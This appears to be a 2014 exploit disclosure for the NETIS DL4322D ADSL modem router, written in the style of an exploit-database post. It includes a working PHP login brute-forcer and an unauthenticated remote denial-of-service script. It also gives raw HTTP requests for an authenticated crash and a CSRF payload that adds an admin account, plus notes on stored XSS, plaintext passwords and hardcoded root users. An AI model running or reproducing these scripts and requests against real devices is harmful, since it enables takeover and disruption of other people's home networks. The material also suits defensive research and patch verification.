Vulnerable Device:
NETIS DL4322D 300Mbps Wireless N ADSL2+ Modem Router Multiple vulnerabilites
(Other models of netis may also suffer from this vulns)
Vendor: http://www.netis-systems.com
Product overview:
http://www.netis-systems.com/en/products/ADSL2+-Wireless-Modem-Router/941.html

The netis DL4322D is a 3-in-1 device that combines the functions of a high speed ADSL2+ modem, 4-port NAT router and wireless N access point. It is designed to provide end-users with a one-stop solution to acquiring and sharing high-speed Internet access over a wired/wireless network. Supporting the latest ADSL standards, the DL4322D brings with it much higher speed than dial-up connections. It also provides some practical functions, such as Port Mapping for IPTV, Ethernet WAN, SNMP, IPv6, TR-069 and more. With this product, users can now enjoy more kinds of heavy bandwidth consuming applications like wireless HD video streaming.


===================================
Vulns: Bruteforce/XSS/Denial Of Service(UnAuthenticated/Authenticated)/CSRF/
Plaintext Passwords/HardCoded Usernames

===================================
0) Bruteforce on login page:
http://192.168.1.1/login.cgi
There is no any anti-bruteforce implementation exists. (FULL PROOF CAPTCHA)
So it is vulnerable to bruteforce.

=========== BRUTEFORCER ============

<?php
$page='login.cgi';
$usage='~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~'. PHP_EOL . 'Usage:'. PHP_EOL .

'php -f brute.php guest/user  /tmp/dictionary.txt http://192.168.1.1/'. PHP_EOL . '~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~'. PHP_EOL;
if(count($argv)!==4) die($usage);
$uname=$argv[1];
$passmassiv=$argv[2];
$ip=$argv[3];
$page=$ip . $page;
$passmassiv=file($passmassiv) or die('Unable to open dictionary!');

foreach($passmassiv as $pass)
{

$pass=trim($pass);
$post='username=' . $uname.'&password=' .$pass . '&submit.htm%3Flogin.htm=Send';

    $ch = curl_init(); 
    curl_setopt($ch,CURLOPT_URL,$page);
    curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
    curl_setopt($ch,CURLOPT_HEADER, true);
    curl_setopt($ch, CURLOPT_POST, sizeof($post));
    curl_setopt($ch, CURLOPT_POSTFIELDS, $post);   
    $response=curl_exec($ch);

if(!preg_match('/Username or password error/i',$response))

{
echo 'OWNED! ' . $uname . ' PASSWD: ' . $pass.   PHP_EOL;
exit;
}
else
{
echo ' Verifying user: => ' . $uname . '  TRYING AS PASS:=>  ' . $pass. PHP_EOL;
}



}

unset($pass);

?>

======== EOF BRUTEFORCER ==============




===================================
1) XSS via incorrect login:password attempts.

Since web interface of this device default is open to PUBLIC there is a big chance to be owned.
This  device has a capability to log incorrect login:password attempts.
But it fails to sanitise user input and then it stores it in log.Administrator can view this log.
Once administrator tries to view injected logs via web interface=game over.
Exploitation:
Using XSS redirect admin to 3'rd party site.
Exploit CSRF flaws(it is up to you) add new admin/kick remote machine to DMZ and etc. then logon to device.

SEE: XSS.png && unsanitized_input_passed.png

http://s017.radikal.ru/i400/1410/84/a50fc523715a.jpg
http://s50.radikal.ru/i130/1410/d3/dc9606d635a2.jpg

===================================
2) Remote Unauthenticated Denial Of Service Exploit.
Since web interface is open to PUBLIC:(default)


<?php
error_reporting(0);//On production lol
/*******************************************
*  NETIS DL4322D Unauthenticated          *
*  Remote DENIAL OF SERVICE EXPLOIT       *
* /AkaStep                                *
* On success this exploit simply          *
* reboots target's router                 *
* (Connections will be interrupted as well)*
* *****************************************/

$page='login.cgi';
$usage='~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~'. PHP_EOL . 'NETIS DL4322D REMOTE DENIAL OF SERVICE EXPLOIT'. PHP_EOL .
'Usage:'. PHP_EOL .

'php -f netisdos.php http://REMOTE_OR_LOCAL_IP/'. PHP_EOL . '~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~'. PHP_EOL;
if(count($argv)!==2) die($usage);

$ip=$argv[1];
$page=$ip . $page;

if(file_get_contents($ip . 'login.htm')) echo '[+] Target is Online! [+]'. PHP_EOL;
sleep(3);
echo '[+] Sending Payload!  [+]'. PHP_EOL;
sleep(3);


$payload=str_repeat('AKASTEP',500);
$post='username=' . $payload.'&password=SAY HELLO TO BLACK HATS!&submit.htm%3Flogin.htm=Send';

    $ch = curl_init(); 
    curl_setopt($ch,CURLOPT_URL,$page);
    curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
    curl_setopt($ch,CURLOPT_HEADER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 12);
    curl_setopt($ch, CURLOPT_POST, sizeof($post));
    curl_setopt($ch, CURLOPT_POSTFIELDS, $post);   
    $response=curl_exec($ch);
echo '[+] Payload WAS Sent... Please wait... [+]' .PHP_EOL;
curl_close($ch);
sleep(2);

if(!file_get_contents($page)) echo('[+] Remote Target Down! [+]'. PHP_EOL);
exit;


?>





===================================
3) DOS (Authenticated) but can be combined with XSS+CSRF remotely.

http://192.168.1.1/form2languageSelect.cgi

HEADERS:

Host: 192.168.1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: SessionID=
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 44
If-Modified-Since: *




DATA:
selectLanguage=100&submit.htm%3Findex.htm=Send


NOTE: Value 100 is illegal value that causes Denial Of service.
Any current connection(s) will be broken permanently.

[root@ metasploit]# nmap -sS -Pn 192.168.1.1 -p 80

Starting Nmap 6.45 ( http://nmap.org ) at 2014-10-15 22:59 AZST
Nmap done: 1 IP address (0 hosts up) scanned in 0.46 seconds



[root@ metasploit]# nmap -sS -Pn 192.168.1.1 -p 80

Starting Nmap 6.45 ( http://nmap.org ) at 2014-10-15 22:59 AZST
Nmap done: 1 IP address (0 hosts up) scanned in 0.46 seconds
[root@ metasploit]# nmap -sS -sU -PN -sV 192.168.1.1

Starting Nmap 6.45 ( http://nmap.org ) at 2014-10-15 23:02 AZST
Nmap done: 1 IP address (0 hosts up) scanned in 0.92 seconds
[root@ metasploit]# ping 192.168.1.1
PING 192.168.1.1 (192.168.1.1) 56(84) bytes of data.


Moreover after switching device to on/off states (aka multiple hard reboots) any attempt to access web interface will result in Denial Of service.(Device is somehow still poisoned in infinitive manner)



[root@ metasploit]# ping 192.168.1.1
PING 192.168.1.1 (192.168.1.1) 56(84) bytes of data.
From 192.168.1.102 icmp_seq=17 Destination Host Unreachable
From 192.168.1.102 icmp_seq=18 Destination Host Unreachable
From 192.168.1.102 icmp_seq=19 Destination Host Unreachable
From 192.168.1.102 icmp_seq=20 Destination Host Unreachable
From 192.168.1.102 icmp_seq=21 Destination Host Unreachable
From 192.168.1.102 icmp_seq=22 Destination Host Unreachable
From 192.168.1.102 icmp_seq=23 Destination Host Unreachable
From 192.168.1.102 icmp_seq=24 Destination Host Unreachable
From 192.168.1.102 icmp_seq=25 Destination Host Unreachable
From 192.168.1.102 icmp_seq=26 Destination Host Unreachable
From 192.168.1.102 icmp_seq=27 Destination Host Unreachable
From 192.168.1.102 icmp_seq=28 Destination Host Unreachable
From 192.168.1.102 icmp_seq=29 Destination Host Unreachable
From 192.168.1.102 icmp_seq=30 Destination Host Unreachable
From 192.168.1.102 icmp_seq=31 Destination Host Unreachable
From 192.168.1.102 icmp_seq=32 Destination Host Unreachable
From 192.168.1.102 icmp_seq=33 Destination Host Unreachable
From 192.168.1.102 icmp_seq=34 Destination Host Unreachable
From 192.168.1.102 icmp_seq=35 Destination Host Unreachabl



==========================================================================

4)
Multiple CSRF vulns: (all forms is prone to CSRF because there is no any ANTI-CSRF implementation at all)

Here is one while transmitting VIA POST request:

URL:
http://192.168.1.1/form2userconfig.cgi


REQUEST HEADERS:

Host: 192.168.1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: SessionID=
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 127
If-Modified-Since: *


DATA TO POST:

username=owned_device&privilege=2&newpass=aDhexLbT8&confpass=aDhexLbT8&adduser=Add&hiddenpass=&submit.htm%3Fuserconfig.htm=Send


SEE: CSRF_VULNERABLE_FORMS.png

http://s019.radikal.ru/i632/1410/3b/2d738ae75ec5.jpg


==========================================================================
5)

Plaintext passwords


SEE: PLAINTEXT_PASSWORDS_FROM_SOURCE_OF_PAGE.png

http://s008.radikal.ru/i306/1410/88/be4c3e20fa10.jpg

==========================================================================

6) Hardcoded usernames.

This device has 2 hardcoded accounts.
guest and user
guest  <= it has a root privilegie
user <= is a limited user

You can change paswords for them but you can't delete or rename them.
==========================================================================


===================== WITH LOVE FROM AZERBAIJAN ========================

packetstormsecurity.org
packetstormsecurity.com
packetstormsecurity.net
securityfocus.com
cxsecurity.com
security.nnov.ru
securtiyvulns.com
securitylab.ru
secunia.com
securityhome.eu
exploitsdownload.com
osvdb.com
websecurity.com.ua
1337day.com
itsecuritysolutions.org
waraxe.us
exploit-db.com
insecurety.net
millikuvvetler.net
b3yaz.org

Special respect's to CAMOUFL4G3 && Brendan Coles && ottoman38 && Ferid23 && Sexavet and to all
Azerbaijan Black hatz,Aa team && to All Turkish hackers.

/AkaStep